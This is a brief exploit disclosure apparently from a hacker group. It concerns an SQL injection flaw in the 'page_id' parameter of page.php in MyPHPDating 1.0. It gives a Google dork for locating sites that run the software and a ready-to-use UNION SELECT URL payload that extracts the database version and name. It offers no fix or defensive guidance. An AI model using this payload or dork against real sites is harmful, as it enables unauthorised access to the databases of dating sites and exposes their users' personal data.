1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
MyPHPDating 1.0 SQL Injection Vulnerability\ ==============================================\__________________________ Software : MyPHPDating version 1.0\ Date : 1/1/2012 \ Vendor : http://www.phponlinedatingsoftware.com/\ Demo : http://www.phponlinedatingsoftware.com/demo.htm \ Get App. : http://www.phponlinedatingsoftware.com/order.htm \ Price: $149.00 \ Dork : "Powered by MyPHPDating" \ Author : ITTIHACK\ Home : http://ittihack.com\ ================================================================================== |_______________________________________| Vulnerable file : page.php| Exploit : http://localhost/[path]/page.php?page_id=[SQL]| http://localhost/[path]/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())--| ==========================================================================================================================| Greatz to: Reinie |